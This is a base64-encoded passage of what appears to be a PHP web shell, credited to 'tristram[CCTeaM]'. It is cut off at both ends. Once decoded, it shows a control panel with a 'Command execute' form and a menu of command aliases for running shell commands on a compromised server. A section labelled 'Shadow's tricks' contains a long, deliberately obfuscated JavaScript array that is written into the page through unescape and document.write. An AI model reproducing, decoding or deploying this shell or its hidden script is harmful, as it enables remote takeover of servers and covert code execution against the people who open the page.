dGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsKICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1h eC1hZ2U9Ii4oNjAqNjAqMjQqNykpOwogIGhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5kYXRlKCJyIixm aWxlbXRpbWUoX19GSUxFX18pKSk7CiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChp bl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0KICBpZiAoZW1wdHkoJGltYWdlc1sk aW1nXSkpIHskaW1nID0gInNtYWxsX3VuayI7fQogIGlmIChpbl9hcnJheSgkaW1nLCRleHRfdGFyKSkg eyRpbWcgPSAiZXh0X3RhciI7fQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsKIH0K IGVsc2UKIHsKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQp IHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJl bW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0KICBuYXRzb3J0KCRpbWFnZXMpOwogICRrID0g YXJyYXlfa2V5cygkaW1hZ2VzKTsKICBlY2hvICAiPGNlbnRlcj4iOwogIGZvcmVhY2ggKCRrIGFzICR1 KSB7ZWNobyAkdS4iOjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Ii4kdS4iXCIgYm9yZGVy PVwiMVwiPjxicj4iO30KICBlY2hvICI8L2NlbnRlcj4iOwogfQogZXhpdDsKfQppZiAoJGFjdCA9PSAi YWJvdXQiKSB7ZWNobyAiPGNlbnRlcj48Yj5DcmVkaXRzOjxicj5JZGVhLCBsZWFkaW5nIGFuZCBjb2Rp bmcgYnkgdHJpc3RyYW1bQ0NUZWFNXS48YnI+QmV0YS10ZXN0aW5nIGFuZCBzb21lIHRpcHMgLSBOdWtM ZW9OIFtBblRpU2hAUmUgdEVhTV0uPGJyPlRoYW5rcyBhbGwgd2hvIHJlcG9ydCBidWdzLjxicj5BbGwg YnVncyBzZW5kIHRvIHRyaXN0cmFtJ3MgSUNRICM2NTY1NTUgPGEgaHJlZj1cImh0dHA6Ly93d3AuaWNx LmNvbS9zY3JpcHRzL2NvbnRhY3QuZGxsP21zZ3RvPTY1NjU1NVwiPjxpbWcgc3JjPVwiaHR0cDovL3d3 cC5pY3EuY29tL3NjcmlwdHMvb25saW5lLmRsbD9pY3E9NjU2NTU1JmltZz01XCIgYm9yZGVyPTAgYWxp Z249YWJzbWlkZGxlPjwvYT4uPC9iPiI7fQo/Pgo8L3RkPjwvdHI+PC90YWJsZT48YSBib29rbWFyaz0i bWluaXBhbmVsIj48YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxs U3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3 aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9 MT4KPHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+ PHAgYWxpZ249ImNlbnRlciI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21k JmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+Q29tbWFuZCBleGVjdXRlPC9iPjwvYT4g Ojo8L2I+PC9wPjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0i dG9wIj48Y2VudGVyPjxiPkVudGVyOiA8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/ PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJjbWQiPjxpbnB1dCB0eXBlPWhpZGRl biBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIg bmFtZT0iY21kIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY21k KTsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+Jm5ic3A7PGlu cHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48dGQg d2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj5TZWxlY3Q6IDwvYj48 Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCIgbWV0aG9kPSJQT1NUIj48aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9 ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxzZWxlY3QgbmFtZT0iY21kIj48P3BocCBm b3JlYWNoICgkY21kYWxpYXNlcyBhcyAkYWxzKSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNw ZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlv bj4iO30gPz48L3NlbGVjdD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEi PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3Jt PjwvdGQ+PC90cj48L1RBQkxFPgo8YnI+CjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xs YXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhl aWdodD0iMTE2IiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2Mw YzBjMCBib3JkZXI9MT4KPHRyPjx0ZCBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48 cCBhbGlnbj0iY2VudGVyIj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQm ZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5TaGFkb3cncyB0cmlja3MgOkQgPC9iPjwv YT4gOjo8L2I+PC9wPjwvdGQ+PC90cj4KPHRyPgogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2 YWxpZ249InRvcCI+PGNlbnRlcj4KICAgIDxkaXYgYWxpZ249ImNlbnRlciI+VXNlZnVsIENvbW1hbmRz IAogICAgPC9kaXY+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGxhbmd1YWdlPSJqYXZhc2Ny aXB0Ij4KPCEtLQpmRjdlU0Q4PW5ldyBBcnJheSgpOwpmRjdlU0Q4WzBdPSIlM0NzY3JpcHQlM0UlMEFk b2N1IjsKZkY3ZVNEOFsxXT0ibWVudC53cml0ZSUyOHVuZSI7CmZGN2VTRDhbMl09InNjYXBlJTI4JTIy JTI1M0NzY3JpIjsKZkY3ZVNEOFszXT0icHQlMjUyMHR5cGUlMjUzRCUyNSI7CmZGN2VTRDhbNF09IjIy dGV4dC9qYXZhc2NyIjsKZkY3ZVNEOFs1XT0iaXB0JTI1MjIlMjUzRWRvIjsKZkY3ZVNEOFs2XT0iY3Vt

ZW50LndyaXRlJTI1IjsKZkY3ZVNEOFs3XT0iMjglMjUyNyUyNTVDdTAwIjsKZkY3ZVNEOFs4XT0iM2Ml MjU1Q3UwMDczJTI1NUMiOwpmRjdlU0Q4WzldPSJ1MDA2MyUyNTVDdTAwNzIiOwpmRjdlU0Q4WzEwXT0i JTI1NUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMTFdPSIwMDcwJTI1NUN1MDA3IjsKZkY3ZVNEOFsxMl09 IjQlMjU1Q3UwMDIwJTI1NUMiOwpmRjdlU0Q4WzEzXT0idTAwNzQlMjU1Q3UwMDciOwpmRjdlU0Q4WzE0 XT0iOSUyNTVDdTAwNzAlMjU1Q3UiOwpmRjdlU0Q4WzE1XT0iMDA2NSUyNTVDdTAwM2QlMjUiOwpmRjdl U0Q4WzE2XT0iNUN1MDAyMiUyNTVDdTAiOwpmRjdlU0Q4WzE3XT0iMDc0JTI1NUN1MDA2NSUyNTVDIjsK ZkY3ZVNEOFsxOF09InUwMDc4JTI1NUN1MDA3NCUyNSI7CmZGN2VTRDhbMTldPSI1Q3UwMDJmJTI1NUN1 IjsKZkY3ZVNEOFsyMF09IjAwNmElMjU1Q3UwMDYxJTI1NSI7CmZGN2VTRDhbMjFdPSJDdTAwNzYlMjU1 Q3UwIjsKZkY3ZVNEOFsyMl09IjA2MSUyNTVDdTAwNzMlMjUiOwpmRjdlU0Q4WzIzXT0iNUN1MDA2MyUy NTVDdTAwIjsKZkY3ZVNEOFsyNF09IjcyJTI1NUN1MDA2OSUyNSI7CmZGN2VTRDhbMjVdPSI1Q3UwMDcw JTI1NUN1IjsKZkY3ZVNEOFsyNl09IjAwNzQlMjU1Q3UwMDIyIjsKZkY3ZVNEOFsyN109IiUyNTVDdTAw M2UlMjU1QyI7CmZGN2VTRDhbMjhdPSJ1MDA2NCUyNTVDdTAwIjsKZkY3ZVNEOFsyOV09IjZmJTI1NUN1 MDA2MyUyNTVDIjsKZkY3ZVNEOFszMF09InUwMDc1JTI1NUN1MDA2IjsKZkY3ZVNEOFszMV09ImQlMjU1 Q3UwMDY1JTI1NUN1IjsKZkY3ZVNEOFszMl09IjAwNmUlMjU1Q3UwMDc0JTI1NSI7CmZGN2VTRDhbMzNd PSJDdTAwMmUlMjU1Q3UwMCI7CmZGN2VTRDhbMzRdPSI3NyUyNTVDdTAwNzIlMjUiOwpmRjdlU0Q4WzM1 XT0iNUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMzZdPSIwMDc0JTI1NUN1MDA2NSUyNSI7CmZGN2VTRDhb MzddPSI1Q3UwMDI4JTI1NUN1MDAyIjsKZkY3ZVNEOFszOF09IjclMjU1Q3UwMDVjJTI1NUN1IjsKZkY3 ZVNEOFszOV09IjAwNzUlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs0MF09IiUyNTVDdTAwMzAlMjU1Q3UwIjsK ZkY3ZVNEOFs0MV09IjAzMyUyNTVDdTAwNjMlMjUiOwpmRjdlU0Q4WzQyXT0iNUN1MDA1YyUyNTVDdTAw NyI7CmZGN2VTRDhbNDNdPSI1JTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNDRdPSIwMDMwJTI1NUN1 MDAzNSI7CmZGN2VTRDhbNDVdPSIlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzQ2XT0idTAwNWMlMjU1 Q3UwMDc1IjsKZkY3ZVNEOFs0N109IiUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzQ4XT0iMDAzMCUy NTVDdTAwMyI7CmZGN2VTRDhbNDldPSI0JTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzUwXT0iQ3UwMDVj JTI1NUN1MDA3IjsKZkY3ZVNEOFs1MV09IjUlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs1Ml09IjAw MzAlMjU1Q3UwMDM1JTI1NSI7CmZGN2VTRDhbNTNdPSJDdTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbNTRd PSI1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbNTVdPSJ1MDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdl U0Q4WzU2XT0iNUN1MDAzNCUyNTVDdTAwIjsKZkY3ZVNEOFs1N109IjM5JTI1NUN1MDA1YyUyNTVDdSI7 CmZGN2VTRDhbNThdPSIwMDc1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzU5XT0iQ3UwMDMwJTI1NUN1 MDAzIjsKZkY3ZVNEOFs2MF09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzYxXT0idTAwNWMlMjU1 Q3UwMDc1IjsKZkY3ZVNEOFs2Ml09IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbNjNdPSIzMCUy NTVDdTAwMzUlMjU1IjsKZkY3ZVNEOFs2NF09IkN1MDAzNCUyNTVDdTAwNSI7CmZGN2VTRDhbNjVdPSJj JTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFs2Nl09InUwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhb NjddPSI1Q3UwMDMyJTI1NUN1IjsKZkY3ZVNEOFs2OF09IjAwMzAlMjU1Q3UwMDVjJTI1IjsKZkY3ZVNE OFs2OV09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbNzBdPSIzMCUyNTVDdTAwMzAlMjU1IjsKZkY3 ZVNEOFs3MV09IkN1MDAzNSUyNTVDdTAwMyI7CmZGN2VTRDhbNzJdPSIzJTI1NUN1MDA1YyUyNTVDdTAi OwpmRjdlU0Q4WzczXT0iMDc1JTI1NUN1MDAzMCI7CmZGN2VTRDhbNzRdPSIlMjU1Q3UwMDMwJTI1NUN1 MDAiOwpmRjdlU0Q4Wzc1XT0iMzUlMjU1Q3UwMDMyJTI1IjsKZkY3ZVNEOFs3Nl09IjVDdTAwNWMlMjU1 Q3UwMCI7CmZGN2VTRDhbNzddPSI3NSUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4Wzc4XT0iMDAzMCUy NTVDdTAwMyI7CmZGN2VTRDhbNzldPSI0JTI1NUN1MDAzMyUyNTVDdSI7CmZGN2VTRDhbODBdPSIwMDVj JTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbODFdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs4Ml09IjAw MzAlMjU1Q3UwMDMzIjsKZkY3ZVNEOFs4M109IiUyNTVDdTAwNjQlMjU1Q3UwIjsKZkY3ZVNEOFs4NF09 IjA1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4Wzg1XT0iNUN1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhb ODZdPSIwJTI1NUN1MDAzNiUyNTUiOwpmRjdlU0Q4Wzg3XT0iQ3UwMDM4JTI1NUN1MCI7CmZGN2VTRDhb ODhdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4Wzg5XT0idTAwMzAlMjU1Q3UwMDMiOwpmRjdl U0Q4WzkwXT0iMCUyNTVDdTAwMzclMjU1QyI7CmZGN2VTRDhbOTFdPSJ1MDAzNCUyNTVDdTAwNWMlMjUi OwpmRjdlU0Q4WzkyXT0iNUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbOTNdPSIwMDMwJTI1NUN1MDAzMCI7 CmZGN2VTRDhbOTRdPSIlMjU1Q3UwMDM3JTI1NUN1IjsKZkY3ZVNEOFs5NV09IjAwMzQlMjU1Q3UwMDVj JTI1IjsKZkY3ZVNEOFs5Nl09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbOTddPSIzMCUyNTVDdTAw MzAlMjU1Q3UiOwpmRjdlU0Q4Wzk4XT0iMDAzNyUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFs5OV09IkN1 MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFsxMDBdPSI3NSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMDFd PSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTAyXT0iMzMlMjU1Q3UwMDYxJTI1NUN1IjsKZkY3ZVNE OFsxMDNdPSIwMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMTA0XT0iJTI1NUN1MDAzMCUyNTVDIjsKZkY3 ZVNEOFsxMDVdPSJ1MDAzMCUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzEwNl09IjVDdTAwNjYlMjU1Q3Uw MCI7CmZGN2VTRDhbMTA3XT0iNWMlMjU1Q3UwMDc1JTI1NUN1IjsKZkY3ZVNEOFsxMDhdPSIwMDMwJTI1 NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTA5XT0iNUN1MDAzMiUyNTVDdTAiOwpmRjdlU0Q4WzExMF09IjA2 NiUyNTVDdTAwNWMiOwpmRjdlU0Q4WzExMV09IiUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzExMl09 IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMTNdPSI1Q3UwMDM2JTI1NUN1MDAzIjsKZkY3ZVNE OFsxMTRdPSI0JTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsxMTVdPSJ1MDA3NSUyNTVDdTAwMyI7CmZG N2VTRDhbMTE2XT0iMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTE3XT0idTAwMzYlMjU1Q3UwMCI7 CmZGN2VTRDhbMTE4XT0iMzElMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTE5XT0iQ3UwMDc1JTI1NUN1

MDAiOwpmRjdlU0Q4WzEyMF09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTIxXT0iMDAzNyUy NTVDdTAwMzQiOwpmRjdlU0Q4WzEyMl09IiUyNTVDdTAwNWMlMjU1Q3UwMCI7CmZGN2VTRDhbMTIzXT0i NzUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzEyNF09InUwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFsx MjVdPSI2JTI1NUN1MDAzMSUyNTUiOwpmRjdlU0Q4WzEyNl09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VT RDhbMTI3XT0iNSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMjhdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3 ZVNEOFsxMjldPSIwMzIlMjU1Q3UwMDY1IjsKZkY3ZVNEOFsxMzBdPSIlMjU1Q3UwMDVjJTI1NUMiOwpm RjdlU0Q4WzEzMV09InUwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTMyXT0iNUN1MDAzMCUyNTVD dTAwMyI7CmZGN2VTRDhbMTMzXT0iNyUyNTVDdTAwMzQlMjU1Q3UwIjsKZkY3ZVNEOFsxMzRdPSIwNWMl MjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzEzNV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzEzNl09 IjMwJTI1NUN1MDAzMyUyNTVDIjsKZkY3ZVNEOFsxMzddPSJ1MDAzMCUyNTVDdTAwNSI7CmZGN2VTRDhb MTM4XT0iYyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzEzOV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdl U0Q4WzE0MF09IjAlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzE0MV09InUwMDMwJTI1NUN1MDA1IjsK ZkY3ZVNEOFsxNDJdPSJjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE0M109IkN1MDAzMCUyNTVDdTAi OwpmRjdlU0Q4WzE0NF09IjAzMCUyNTVDdTAwMzYlMjU1QyI7CmZGN2VTRDhbMTQ1XT0idTAwNjMlMjU1 Q3UwMDVjIjsKZkY3ZVNEOFsxNDZdPSIlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzE0N109InUwMDMw JTI1NUN1MDAiOwpmRjdlU0Q4WzE0OF09IjMwJTI1NUN1MDAzNyUyNSI7CmZGN2VTRDhbMTQ5XT0iNUN1 MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsxNTBdPSI1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsxNTFd PSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTUyXT0iMzAlMjU1Q3UwMDMyJTI1NSI7CmZGN2VTRDhb MTUzXT0iQ3UwMDY1JTI1NUN1MDA1YyI7CmZGN2VTRDhbMTU0XT0iJTI1NUN1MDA3NSUyNTVDIjsKZkY3 ZVNEOFsxNTVdPSJ1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxNTZdPSIzMCUyNTVDdTAwMzYlMjU1Q3Ui OwpmRjdlU0Q4WzE1N109IjAwNjYlMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTU4XT0iQ3UwMDc1JTI1 NUN1MDAiOwpmRjdlU0Q4WzE1OV09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTYwXT0iMDAz NyUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzE2MV09IjVDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE2 Ml09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzE2M109InUwMDMwJTI1NUN1MDAzNiUyNSI7CmZG N2VTRDhbMTY0XT0iNUN1MDAzNyUyNTVDdTAwIjsKZkY3ZVNEOFsxNjVdPSI1YyUyNTVDdTAwNzUlMjU1 IjsKZkY3ZVNEOFsxNjZdPSJDdTAwMzAlMjU1Q3UwMDMwIjsKZkY3ZVNEOFsxNjddPSIlMjU1Q3UwMDMy JTI1NUN1MDAiOwpmRjdlU0Q4WzE2OF09IjY2JTI1NUN1MDA1YyUyNTUiOwpmRjdlU0Q4WzE2OV09IkN1 MDA3NSUyNTVDdTAiOwpmRjdlU0Q4WzE3MF09IjAzMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTcx XT0idTAwMzclMjU1Q3UwMDM3IjsKZkY3ZVNEOFsxNzJdPSIlMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNE OFsxNzNdPSIwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTc0XT0iNUN1MDAzMCUyNTVDdSI7CmZG N2VTRDhbMTc1XT0iMDAzNiUyNTVDdTAwMzglMjU1IjsKZkY3ZVNEOFsxNzZdPSJDdTAwNWMlMjU1Q3Uw MDciOwpmRjdlU0Q4WzE3N109IjUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbMTc4XT0iQ3UwMDMwJTI1 NUN1MDAzNiI7CmZGN2VTRDhbMTc5XT0iJTI1NUN1MDAzNSUyNTVDdTAwIjsKZkY3ZVNEOFsxODBdPSI1 YyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzE4MV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzE4 Ml09IjAlMjU1Q3UwMDM3JTI1NUMiOwpmRjdlU0Q4WzE4M109InUwMDMyJTI1NUN1MDAiOwpmRjdlU0Q4 WzE4NF09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE4NV09IkN1MDAzMCUyNTVDdTAiOwpmRjdl U0Q4WzE4Nl09IjAzMCUyNTVDdTAwMzYlMjUiOwpmRjdlU0Q4WzE4N109IjVDdTAwMzUlMjU1Q3UwIjsK ZkY3ZVNEOFsxODhdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsxODldPSIlMjU1Q3UwMDMwJTI1NUN1 MCI7CmZGN2VTRDhbMTkwXT0iMDMwJTI1NUN1MDAzMiI7CmZGN2VTRDhbMTkxXT0iJTI1NUN1MDA2NSUy NTVDdSI7CmZGN2VTRDhbMTkyXT0iMDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzE5M109IiUyNTVDdTAw MzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTk0XT0iMzAlMjU1Q3UwMDM2JTI1IjsKZkY3ZVNEOFsxOTVdPSI1 Q3UwMDYxJTI1NUN1IjsKZkY3ZVNEOFsxOTZdPSIwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFsxOTddPSI1 JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzE5OF09IkN1MDAzMCUyNTVDdTAwMzciOwpmRjdlU0Q4WzE5 OV09IiUyNTVDdTAwMzMlMjU1Q3UwIjsKZkY3ZVNEOFsyMDBdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpm RjdlU0Q4WzIwMV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzIwMl09IjMwJTI1NUN1MDAzMyUyNTVD dSI7CmZGN2VTRDhbMjAzXT0iMDA2NSUyNTVDdTAwNSI7CmZGN2VTRDhbMjA0XT0iYyUyNTVDdTAwNzUl MjU1Q3UiOwpmRjdlU0Q4WzIwNV09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsyMDZdPSI1Q3Uw MDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzIwN109IjYzJTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsyMDhd PSJ1MDA3NSUyNTVDdTAwMzAiOwpmRjdlU0Q4WzIwOV09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNE OFsyMTBdPSIwMzIlMjU1Q3UwMDY2JTI1NSI7CmZGN2VTRDhbMjExXT0iQ3UwMDVjJTI1NUN1MCI7CmZG N2VTRDhbMjEyXT0iMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMjEzXT0iNUN1MDAzMCUyNTVDdSI7 CmZGN2VTRDhbMjE0XT0iMDAzNSUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMTVdPSJDdTAwNWMlMjU1 Q3UwMDciOwpmRjdlU0Q4WzIxNl09IjUlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMjE3XT0iMDMw JTI1NUN1MDAzNCUyNTUiOwpmRjdlU0Q4WzIxOF09IkN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsyMTld PSI1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4WzIyMF09IjVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsy MjFdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMjJdPSIlMjU1Q3UwMDMyJTI1NUN1MCI7CmZGN2VT RDhbMjIzXT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjI0XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZG N2VTRDhbMjI1XT0iMDAzMCUyNTVDdTAwMzQlMjUiOwpmRjdlU0Q4WzIyNl09IjVDdTAwMzklMjU1Q3Uw IjsKZkY3ZVNEOFsyMjddPSIwNWMlMjU1Q3UwMDc1JTI1IjsKZkY3ZVNEOFsyMjhdPSI1Q3UwMDMwJTI1 NUN1IjsKZkY3ZVNEOFsyMjldPSIwMDMwJTI1NUN1MDAzNSUyNSI7CmZGN2VTRDhbMjMwXT0iNUN1MDAz

MCUyNTVDdSI7CmZGN2VTRDhbMjMxXT0iMDA1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsyMzJdPSJD dTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMzNdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMzRdPSIl MjU1Q3UwMDM0JTI1NUN1MCI7CmZGN2VTRDhbMjM1XT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjM2 XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjM3XT0iMDAzMCUyNTVDdTAwMzMlMjU1IjsKZkY3 ZVNEOFsyMzhdPSJDdTAwNjUlMjU1Q3UwIjsKZkY3ZVNEOFsyMzldPSIwMjclMjU1Q3UwMDI5IjsKZkY3 ZVNEOFsyNDBdPSIlMjU1Q3UwMDNjJTI1NUMiOwpmRjdlU0Q4WzI0MV09InUwMDJmJTI1NUN1MDA3MyUy NSI7CmZGN2VTRDhbMjQyXT0iNUN1MDA2MyUyNTVDdTAwNyI7CmZGN2VTRDhbMjQzXT0iMiUyNTVDdTAw NjklMjU1Q3UiOwpmRjdlU0Q4WzI0NF09IjAwNzAlMjU1Q3UwMDciOwpmRjdlU0Q4WzI0NV09IjQlMjU1 Q3UwMDNlJTI1MjclMjUiOwpmRjdlU0Q4WzI0Nl09IjI5JTI1M0Mvc2NyaXB0JTI1IjsKZkY3ZVNEOFsy NDddPSIzRSUyMiUyOSUyOSUzQiUwQSUzQy9zY3JpIjsKZkY3ZVNEOFsyNDhdPSJwdCUzRSI7CmZvciAo aSA9IDA7IGkgPCBmRjdlU0Q4Lmxlbmd0aDsgaSArKykKewogICAgZG9jdW1lbnQud3JpdGUodW5lc2Nh cGUoZkY3ZVNEOFtpXSkpCn0KLy8gLS0+Cjwvc2NyaXB0PiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVj aG8gJHN1cmw7ID8+Ij4KICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgICAgICA8aW5wdXQgdHlw 